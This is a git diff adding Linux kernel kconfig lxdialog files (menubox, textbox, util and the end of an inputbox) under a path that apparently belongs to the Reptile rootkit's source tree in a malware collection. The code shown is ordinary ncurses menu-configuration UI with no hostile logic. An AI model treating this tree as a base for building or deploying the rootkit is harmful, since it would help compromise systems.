break; + } + waddch(dialog, instr[show_x + i]); + } + wmove(dialog, box_y, input_x + box_x); + wrefresh(dialog); + } else + flash(); /* Alarm user about overflow */ + continue; + } + } + } + switch (key) { + case 'O': + case 'o': + delwin(dialog); + return 0; + case 'H': + case 'h': + delwin(dialog); + return 1; + case KEY_UP: + case KEY_LEFT: + switch (button) { + case -1: + button = 1; /* Indicates "Help" button is selected */ + print_buttons(dialog, height, width, 1); + break; + case 0: + button = -1; /* Indicates input box is selected */ + print_buttons(dialog, height, width, 0); + wmove(dialog, box_y, box_x + input_x); + wrefresh(dialog); + break; + case 1: + button = 0; /* Indicates "OK" button is selected */ + print_buttons(dialog, height, width, 0); + break; + } + break; + case TAB: + case KEY_DOWN: + case KEY_RIGHT: + switch (button) { + case -1: + button = 0; /* Indicates "OK" button is selected */ + print_buttons(dialog, height, width, 0); + break; + case 0: + button = 1; /* Indicates "Help" button is selected */ + print_buttons(dialog, height, width, 1); + break; + case 1: + button = -1; /* Indicates input box is selected */ + print_buttons(dialog, height, width, 0); + wmove(dialog, box_y, box_x + input_x); + wrefresh(dialog); + break; + } + break; + case ' ': + case '\n': + delwin(dialog); + return (button == -1 ? 0 : button); + case 'X': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(dialog); + on_key_resize(); + goto do_resize; + } + } + + delwin(dialog); + return KEY_ESC; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c new file mode 100644 index 0000000..b0d0d69 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/menubox.c @@ -0,0 +1,437 @@ +/* + * menubox.c -- implements the menu box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcapw@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +/* + * Changes by Clifford Wolf (god@clifford.at) + * + * [ 1998-06-13 ] + * + * *) A bugfix for the Page-Down problem + * + * *) Formerly when I used Page Down and Page Up, the cursor would be set + * to the first position in the menu box. Now lxdialog is a bit + * smarter and works more like other menu systems (just have a look at + * it). + * + * *) Formerly if I selected something my scrolling would be broken because + * lxdialog is re-invoked by the Menuconfig shell script, can't + * remember the last scrolling position, and just sets it so that the + * cursor is at the bottom of the box. Now it writes the temporary file + * lxdialog.scrltmp which contains this information. The file is + * deleted by lxdialog if the user leaves a submenu or enters a new + * one, but it would be nice if Menuconfig could make another "rm -f" + * just to be sure. Just try it out - you will recognise a difference! + * + * [ 1998-06-14 ] + * + * *) Now lxdialog is crash-safe against broken "lxdialog.scrltmp" files + * and menus change their size on the fly. + * + * *) If for some reason the last scrolling position is not saved by + * lxdialog, it sets the scrolling so that the selected item is in the + * middle of the menu box, not at the bottom. + * + * 02 January 1999, Michael Elizabeth Chastain (mec@shout.net) + * Reset 'scroll' to 0 if the value from lxdialog.scrltmp is bogus. + * This fixes a bug in Menuconfig where using ' ' to descend into menus + * would leave mis-synchronized lxdialog.scrltmp files lying around, + * fscanf would read in 'scroll', and eventually that value would get used. + */ + +#include "dialog.h" + +static int menu_width, item_x; + +/* + * Print menu item + */ +static void do_print_item(WINDOW * win, const char *item, int line_y, + int selected, int hotkey) +{ + int j; + char *menu_item = malloc(menu_width + 1); + + strncpy(menu_item, item, menu_width - item_x); + menu_item[menu_width - item_x] = '\0'; + j = first_alpha(menu_item, "YyNnMmHh"); + + /* Clear 'residue' of last item */ + wattrset(win, dlg.menubox.atr); + wmove(win, line_y, 0); +#if OLD_NCURSES + { + int i; + for (i = 0; i < menu_width; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif + wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr); + mvwaddstr(win, line_y, item_x, menu_item); + if (hotkey) { + wattrset(win, selected ? dlg.tag_key_selected.atr + : dlg.tag_key.atr); + mvwaddch(win, line_y, item_x + j, menu_item[j]); + } + if (selected) { + wmove(win, line_y, item_x + 1); + } + free(menu_item); + wrefresh(win); +} + +#define print_item(index, choice, selected) \ +do { \ + item_set(index); \ + do_print_item(menu, item_str(), choice, selected, !item_is_tag(':')); \ +} while (0) + +/* + * Print the scroll indicators. + */ +static void print_arrows(WINDOW * win, int item_no, int scroll, int y, int x, + int height) +{ + int cur_y, cur_x; + + getyx(win, cur_y, cur_x); + + wmove(win, y, x); + + if (scroll > 0) { + wattrset(win, dlg.uarrow.atr); + waddch(win, ACS_UARROW); + waddstr(win, "(-)"); + } else { + wattrset(win, dlg.menubox.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + y = y + height + 1; + wmove(win, y, x); + wrefresh(win); + + if ((height < item_no) && (scroll + height < item_no)) { + wattrset(win, dlg.darrow.atr); + waddch(win, ACS_DARROW); + waddstr(win, "(+)"); + } else { + wattrset(win, dlg.menubox_border.atr); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + waddch(win, ACS_HLINE); + } + + wmove(win, cur_y, cur_x); + wrefresh(win); +} + +/* + * Display the termination buttons. + */ +static void print_buttons(WINDOW * win, int height, int width, int selected) +{ + int x = width / 2 - 28; + int y = height - 2; + + print_button(win, gettext("Select"), y, x, selected == 0); + print_button(win, gettext(" Exit "), y, x + 12, selected == 1); + print_button(win, gettext(" Help "), y, x + 24, selected == 2); + print_button(win, gettext(" Save "), y, x + 36, selected == 3); + print_button(win, gettext(" Load "), y, x + 48, selected == 4); + + wmove(win, y, x + 1 + 12 * selected); + wrefresh(win); +} + +/* scroll up n lines (n may be negative) */ +static void do_scroll(WINDOW *win, int *scroll, int n) +{ + /* Scroll menu up */ + scrollok(win, TRUE); + wscrl(win, n); + scrollok(win, FALSE); + *scroll = *scroll + n; + wrefresh(win); +} + +/* + * Display a menu for choosing among a number of options + */ +int dialog_menu(const char *title, const char *prompt, + const void *selected, int *s_scroll) +{ + int i, j, x, y, box_x, box_y; + int height, width, menu_height; + int key = 0, button = 0, scroll = 0, choice = 0; + int first_item = 0, max_choice; + WINDOW *dialog, *menu; + +do_resize: + height = getmaxy(stdscr); + width = getmaxx(stdscr); + if (height < MENUBOX_HEIGTH_MIN || width < MENUBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + + height -= 4; + width -= 5; + menu_height = height - 10; + + max_choice = MIN(menu_height, item_count()); + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + menu_width = width - 6; + box_y = height - menu_height - 5; + box_x = (width - menu_width) / 2 - 1; + + /* create new window for the menu */ + menu = subwin(dialog, menu_height, menu_width, + y + box_y + 1, x + box_x + 1); + keypad(menu, TRUE); + + /* draw a box around the menu items */ + draw_box(dialog, box_y, box_x, menu_height + 2, menu_width + 2, + dlg.menubox_border.atr, dlg.menubox.atr); + + if (menu_width >= 80) + item_x = (menu_width - 70) / 2; + else + item_x = 4; + + /* Set choice to default item */ + item_foreach() + if (selected && (selected == item_data())) + choice = item_n(); + /* get the saved scroll info */ + scroll = *s_scroll; + if ((scroll <= choice) && (scroll + max_choice > choice) && + (scroll >= 0) && (scroll + max_choice <= item_count())) { + first_item = scroll; + choice = choice - scroll; + } else { + scroll = 0; + } + if ((choice >= max_choice)) { + if (choice >= item_count() - max_choice / 2) + scroll = first_item = item_count() - max_choice; + else + scroll = first_item = choice - max_choice / 2; + choice = choice - scroll; + } + + /* Print the menu */ + for (i = 0; i < max_choice; i++) { + print_item(first_item + i, i, i == choice); + } + + wnoutrefresh(menu); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + print_buttons(dialog, height, width, 0); + wmove(menu, choice, item_x + 1); + wrefresh(menu); + + while (key != KEY_ESC) { + key = wgetch(menu); + + if (key < 256 && isalpha(key)) + key = tolower(key); + + if (strchr("ynmh ", key)) + i = max_choice; + else { + for (i = choice + 1; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + if (i == max_choice) + for (i = 0; i < max_choice; i++) { + item_set(scroll + i); + j = first_alpha(item_str(), "YyNnMmHh"); + if (key == tolower(item_str()[j])) + break; + } + } + + if (item_count() != 0 && + (i < max_choice || + key == KEY_UP || key == KEY_DOWN || + key == '-' || key == '+' || + key == KEY_PPAGE || key == KEY_NPAGE)) { + /* Remove highligt of current item */ + print_item(scroll + choice, choice, FALSE); + + if (key == KEY_UP || key == '-') { + if (choice < 2 && scroll) { + /* Scroll menu down */ + do_scroll(menu, &scroll, -1); + + print_item(scroll, 0, FALSE); + } else + choice = MAX(choice - 1, 0); + + } else if (key == KEY_DOWN || key == '+') { + print_item(scroll+choice, choice, FALSE); + + if ((choice > max_choice - 3) && + (scroll + max_choice < item_count())) { + /* Scroll menu up */ + do_scroll(menu, &scroll, 1); + + print_item(scroll+max_choice - 1, + max_choice - 1, FALSE); + } else + choice = MIN(choice + 1, max_choice - 1); + + } else if (key == KEY_PPAGE) { + scrollok(menu, TRUE); + for (i = 0; (i < max_choice); i++) { + if (scroll > 0) { + do_scroll(menu, &scroll, -1); + print_item(scroll, 0, FALSE); + } else { + if (choice > 0) + choice--; + } + } + + } else if (key == KEY_NPAGE) { + for (i = 0; (i < max_choice); i++) { + if (scroll + max_choice < item_count()) { + do_scroll(menu, &scroll, 1); + print_item(scroll+max_choice-1, + max_choice - 1, FALSE); + } else { + if (choice + 1 < max_choice) + choice++; + } + } + } else + choice = i; + + print_item(scroll + choice, choice, TRUE); + + print_arrows(dialog, item_count(), scroll, + box_y, box_x + item_x + 1, menu_height); + + wnoutrefresh(dialog); + wrefresh(menu); + + continue; /* wait for another key press */ + } + + switch (key) { + case KEY_LEFT: + case TAB: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) + ? 4 : (button > 4 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(menu); + break; + case ' ': + case 's': + case 'y': + case 'n': + case 'm': + case '/': + case 'h': + case '?': + case 'z': + case '\n': + /* save scroll info */ + *s_scroll = scroll; + delwin(menu); + delwin(dialog); + item_set(scroll + choice); + item_set_selected(1); + switch (key) { + case 'h': + case '?': + return 2; + case 's': + case 'y': + return 5; + case 'n': + return 6; + case 'm': + return 7; + case ' ': + return 8; + case '/': + return 9; + case 'z': + return 10; + case '\n': + return button; + } + return 0; + case 'e': + case 'x': + key = KEY_ESC; + break; + case KEY_ESC: + key = on_key_esc(menu); + break; + case KEY_RESIZE: + on_key_resize(); + delwin(menu); + delwin(dialog); + goto do_resize; + } + } + delwin(menu); + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c new file mode 100644 index 0000000..1773319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/textbox.c @@ -0,0 +1,408 @@ +/* + * textbox.c -- implements the text box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +static void back_lines(int n); +static void print_page(WINDOW *win, int height, int width, update_text_fn + update_text, void *data); +static void print_line(WINDOW *win, int row, int width); +static char *get_line(void); +static void print_position(WINDOW * win); + +static int hscroll; +static int begin_reached, end_reached, page_length; +static char *buf; +static char *page; + +/* + * refresh window content + */ +static void refresh_text_box(WINDOW *dialog, WINDOW *box, int boxh, int boxw, + int cur_y, int cur_x, update_text_fn update_text, + void *data) +{ + print_page(box, boxh, boxw, update_text, data); + print_position(dialog); + wmove(dialog, cur_y, cur_x); /* Restore cursor position */ + wrefresh(dialog); +} + + +/* + * Display text from a file in a dialog box. + * + * keys is a null-terminated array + * update_text() may not add or remove any '\n' or '\0' in tbuf + */ +int dialog_textbox(const char *title, char *tbuf, int initial_height, + int initial_width, int *keys, int *_vscroll, int *_hscroll, + update_text_fn update_text, void *data) +{ + int i, x, y, cur_x, cur_y, key = 0; + int height, width, boxh, boxw; + WINDOW *dialog, *box; + bool done = false; + + begin_reached = 1; + end_reached = 0; + page_length = 0; + hscroll = 0; + buf = tbuf; + page = buf; /* page is pointer to start of page to be displayed */ + + if (_vscroll && *_vscroll) { + begin_reached = 0; + + for (i = 0; i < *_vscroll; i++) + get_line(); + } + if (_hscroll) + hscroll = *_hscroll; + +do_resize: + getmaxyx(stdscr, height, width); + if (height < TEXTBOX_HEIGTH_MIN || width < TEXTBOX_WIDTH_MIN) + return -ERRDISPLAYTOOSMALL; + if (initial_height != 0) + height = initial_height; + else + if (height > 4) + height -= 4; + else + height = 0; + if (initial_width != 0) + width = initial_width; + else + if (width > 5) + width -= 5; + else + width = 0; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + /* Create window for box region, used for scrolling text */ + boxh = height - 4; + boxw = width - 2; + box = subwin(dialog, boxh, boxw, y + 1, x + 1); + wattrset(box, dlg.dialog.atr); + wbkgdset(box, dlg.dialog.atr & A_COLOR); + + keypad(box, TRUE); + + /* register the new window, along with its borders */ + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + wbkgdset(dialog, dlg.dialog.atr & A_COLOR); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + print_button(dialog, gettext(" Exit "), height - 2, width / 2 - 4, TRUE); + wnoutrefresh(dialog); + getyx(dialog, cur_y, cur_x); /* Save cursor position */ + + /* Print first page of text */ + attr_clear(box, boxh, boxw, dlg.dialog.atr); + refresh_text_box(dialog, box, boxh, boxw, cur_y, cur_x, update_text, + data); + + while (!done) { + key = wgetch(dialog); + switch (key) { + case 'E': /* Exit */ + case 'e': + case 'X': + case 'x': + case 'q': + case '\n': + done = true; + break; + case 'g': /* First page */ + case KEY_HOME: + if (!begin_reached) { + begin_reached = 1; + page = buf; + refresh_text_box(dialog, box, boxh, boxw, + cur_y, cur_x, update_text, + data); + } + break; + case 'G': /* Last page */ + case KEY_END: + + end_reached = 1; + /* point to last char in buf */ + page = buf + strlen(buf); + back_lines(boxh); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'K': /* Previous line */ + case 'k': + case KEY_UP: + if (begin_reached) + break; + + back_lines(page_length + 1); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'B': /* Previous page */ + case 'b': + case 'u': + case KEY_PPAGE: + if (begin_reached) + break; + back_lines(page_length + boxh); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'J': /* Next line */ + case 'j': + case KEY_DOWN: + if (end_reached) + break; + + back_lines(page_length - 1); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case KEY_NPAGE: /* Next page */ + case ' ': + case 'd': + if (end_reached) + break; + + begin_reached = 0; + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case '0': /* Beginning of line */ + case 'H': /* Scroll left */ + case 'h': + case KEY_LEFT: + if (hscroll <= 0) + break; + + if (key == '0') + hscroll = 0; + else + hscroll--; + /* Reprint current page to scroll horizontally */ + back_lines(page_length); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case 'L': /* Scroll right */ + case 'l': + case KEY_RIGHT: + if (hscroll >= MAX_LEN) + break; + hscroll++; + /* Reprint current page to scroll horizontally */ + back_lines(page_length); + refresh_text_box(dialog, box, boxh, boxw, cur_y, + cur_x, update_text, data); + break; + case KEY_ESC: + if (on_key_esc(dialog) == KEY_ESC) + done = true; + break; + case KEY_RESIZE: + back_lines(height); + delwin(box); + delwin(dialog); + on_key_resize(); + goto do_resize; + default: + for (i = 0; keys[i]; i++) { + if (key == keys[i]) { + done = true; + break; + } + } + } + } + delwin(box); + delwin(dialog); + if (_vscroll) { + const char *s; + + s = buf; + *_vscroll = 0; + back_lines(page_length); + while (s < page && (s = strchr(s, '\n'))) { + (*_vscroll)++; + s++; + } + } + if (_hscroll) + *_hscroll = hscroll; + return key; +} + +/* + * Go back 'n' lines in text. Called by dialog_textbox(). + * 'page' will be updated to point to the desired line in 'buf'. + */ +static void back_lines(int n) +{ + int i; + + begin_reached = 0; + /* Go back 'n' lines */ + for (i = 0; i < n; i++) { + if (*page == '\0') { + if (end_reached) { + end_reached = 0; + continue; + } + } + if (page == buf) { + begin_reached = 1; + return; + } + page--; + do { + if (page == buf) { + begin_reached = 1; + return; + } + page--; + } while (*page != '\n'); + page++; + } +} + +/* + * Print a new page of text. + */ +static void print_page(WINDOW *win, int height, int width, update_text_fn + update_text, void *data) +{ + int i, passed_end = 0; + + if (update_text) { + char *end; + + for (i = 0; i < height; i++) + get_line(); + end = page; + back_lines(height); + update_text(buf, page - buf, end - buf, data); + } + + page_length = 0; + for (i = 0; i < height; i++) { + print_line(win, i, width); + if (!passed_end) + page_length++; + if (end_reached && !passed_end) + passed_end = 1; + } + wnoutrefresh(win); +} + +/* + * Print a new line of text. + */ +static void print_line(WINDOW * win, int row, int width) +{ + char *line; + + line = get_line(); + line += MIN(strlen(line), hscroll); /* Scroll horizontally */ + wmove(win, row, 0); /* move cursor to correct line */ + waddch(win, ' '); + waddnstr(win, line, MIN(strlen(line), width - 2)); + + /* Clear 'residue' of previous line */ +#if OLD_NCURSES + { + int x = getcurx(win); + int i; + for (i = 0; i < width - x; i++) + waddch(win, ' '); + } +#else + wclrtoeol(win); +#endif +} + +/* + * Return current line of text. Called by dialog_textbox() and print_line(). + * 'page' should point to start of current line before calling, and will be + * updated to point to start of next line. + */ +static char *get_line(void) +{ + int i = 0; + static char line[MAX_LEN + 1]; + + end_reached = 0; + while (*page != '\n') { + if (*page == '\0') { + end_reached = 1; + break; + } else if (i < MAX_LEN) + line[i++] = *(page++); + else { + /* Truncate lines longer than MAX_LEN characters */ + if (i == MAX_LEN) + line[i++] = '\0'; + page++; + } + } + if (i <= MAX_LEN) + line[i] = '\0'; + if (!end_reached) + page++; /* move past '\n' */ + + return line; +} + +/* + * Print current position + */ +static void print_position(WINDOW * win) +{ + int percent; + + wattrset(win, dlg.position_indicator.atr); + wbkgdset(win, dlg.position_indicator.atr & A_COLOR); + percent = (page - buf) * 100 / strlen(buf); + wmove(win, getmaxy(win) - 3, getmaxx(win) - 9); + wprintw(win, "(%3d%%)", percent); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c new file mode 100644 index 0000000..58a8289 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/util.c @@ -0,0 +1,713 @@ +/* + * util.c + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include + +#include "dialog.h" + +/* Needed in signal handler in mconf.c */ +int saved_x, saved_y; + +struct dialog_info dlg; + +static void set_mono_theme(void) +{ + dlg.screen.atr = A_NORMAL; + dlg.shadow.atr = A_NORMAL; + dlg.dialog.atr = A_NORMAL; + dlg.title.atr = A_BOLD; + dlg.border.atr = A_NORMAL; + dlg.button_active.atr = A_REVERSE; + dlg.button_inactive.atr = A_DIM; + dlg.button_key_active.atr = A_REVERSE; + dlg.button_key_inactive.atr = A_BOLD; + dlg.button_label_active.atr = A_REVERSE; + dlg.button_label_inactive.atr = A_NORMAL; + dlg.inputbox.atr = A_NORMAL; + dlg.inputbox_border.atr = A_NORMAL; + dlg.searchbox.atr = A_NORMAL; + dlg.searchbox_title.atr = A_BOLD; + dlg.searchbox_border.atr = A_NORMAL; + dlg.position_indicator.atr = A_BOLD; + dlg.menubox.atr = A_NORMAL; + dlg.menubox_border.atr = A_NORMAL; + dlg.item.atr = A_NORMAL; + dlg.item_selected.atr = A_REVERSE; + dlg.tag.atr = A_BOLD; + dlg.tag_selected.atr = A_REVERSE; + dlg.tag_key.atr = A_BOLD; + dlg.tag_key_selected.atr = A_REVERSE; + dlg.check.atr = A_BOLD; + dlg.check_selected.atr = A_REVERSE; + dlg.uarrow.atr = A_BOLD; + dlg.darrow.atr = A_BOLD; +} + +#define DLG_COLOR(dialog, f, b, h) \ +do { \ + dlg.dialog.fg = (f); \ + dlg.dialog.bg = (b); \ + dlg.dialog.hl = (h); \ +} while (0) + +static void set_classic_theme(void) +{ + DLG_COLOR(screen, COLOR_CYAN, COLOR_BLUE, true); + DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, true); + DLG_COLOR(dialog, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(title, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(button_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(button_inactive, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(button_key_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_WHITE, false); + DLG_COLOR(button_label_active, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_WHITE, true); + DLG_COLOR(inputbox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(inputbox_border, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(searchbox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(searchbox_border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(position_indicator, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(menubox, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(menubox_border, COLOR_WHITE, COLOR_WHITE, true); + DLG_COLOR(item, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(item_selected, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(tag, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(tag_key, COLOR_YELLOW, COLOR_WHITE, true); + DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(check, COLOR_BLACK, COLOR_WHITE, false); + DLG_COLOR(check_selected, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(uarrow, COLOR_GREEN, COLOR_WHITE, true); + DLG_COLOR(darrow, COLOR_GREEN, COLOR_WHITE, true); +} + +static void set_blackbg_theme(void) +{ + DLG_COLOR(screen, COLOR_RED, COLOR_BLACK, true); + DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, false); + DLG_COLOR(dialog, COLOR_WHITE, COLOR_BLACK, false); + DLG_COLOR(title, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(button_active, COLOR_YELLOW, COLOR_RED, false); + DLG_COLOR(button_inactive, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_RED, true); + DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_RED, false); + DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(inputbox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(inputbox_border, COLOR_YELLOW, COLOR_BLACK, false); + + DLG_COLOR(searchbox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_BLACK, true); + DLG_COLOR(searchbox_border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(position_indicator, COLOR_RED, COLOR_BLACK, false); + + DLG_COLOR(menubox, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(menubox_border, COLOR_BLACK, COLOR_BLACK, true); + + DLG_COLOR(item, COLOR_WHITE, COLOR_BLACK, false); + DLG_COLOR(item_selected, COLOR_WHITE, COLOR_RED, false); + + DLG_COLOR(tag, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_RED, true); + DLG_COLOR(tag_key, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_RED, true); + + DLG_COLOR(check, COLOR_YELLOW, COLOR_BLACK, false); + DLG_COLOR(check_selected, COLOR_YELLOW, COLOR_RED, true); + + DLG_COLOR(uarrow, COLOR_RED, COLOR_BLACK, false); + DLG_COLOR(darrow, COLOR_RED, COLOR_BLACK, false); +} + +static void set_bluetitle_theme(void) +{ + set_classic_theme(); + DLG_COLOR(title, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_BLUE, true); + DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_BLUE, true); + DLG_COLOR(searchbox_title, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(position_indicator, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(tag, COLOR_BLUE, COLOR_WHITE, true); + DLG_COLOR(tag_key, COLOR_BLUE, COLOR_WHITE, true); + +} + +/* + * Select color theme + */ +static int set_theme(const char *theme) +{ + int use_color = 1; + if (!theme) + set_bluetitle_theme(); + else if (strcmp(theme, "classic") == 0) + set_classic_theme(); + else if (strcmp(theme, "bluetitle") == 0) + set_bluetitle_theme(); + else if (strcmp(theme, "blackbg") == 0) + set_blackbg_theme(); + else if (strcmp(theme, "mono") == 0) + use_color = 0; + + return use_color; +} + +static void init_one_color(struct dialog_color *color) +{ + static int pair = 0; + + pair++; + init_pair(pair, color->fg, color->bg); + if (color->hl) + color->atr = A_BOLD | COLOR_PAIR(pair); + else + color->atr = COLOR_PAIR(pair); +} + +static void init_dialog_colors(void) +{ + init_one_color(&dlg.screen); + init_one_color(&dlg.shadow); + init_one_color(&dlg.dialog); + init_one_color(&dlg.title); + init_one_color(&dlg.border); + init_one_color(&dlg.button_active); + init_one_color(&dlg.button_inactive); + init_one_color(&dlg.button_key_active); + init_one_color(&dlg.button_key_inactive); + init_one_color(&dlg.button_label_active); + init_one_color(&dlg.button_label_inactive); + init_one_color(&dlg.inputbox); + init_one_color(&dlg.inputbox_border); + init_one_color(&dlg.searchbox); + init_one_color(&dlg.searchbox_title); + init_one_color(&dlg.searchbox_border); + init_one_color(&dlg.position_indicator); + init_one_color(&dlg.menubox); + init_one_color(&dlg.menubox_border); + init_one_color(&dlg.item); + init_one_color(&dlg.item_selected); + init_one_color(&dlg.tag); + init_one_color(&dlg.tag_selected); + init_one_color(&dlg.tag_key); + init_one_color(&dlg.tag_key_selected); + init_one_color(&dlg.check); + init_one_color(&dlg.check_selected); + init_one_color(&dlg.uarrow); + init_one_color(&dlg.darrow); +} + +/* + * Setup for color display + */ +static void color_setup(const char *theme) +{ + int use_color; + + use_color = 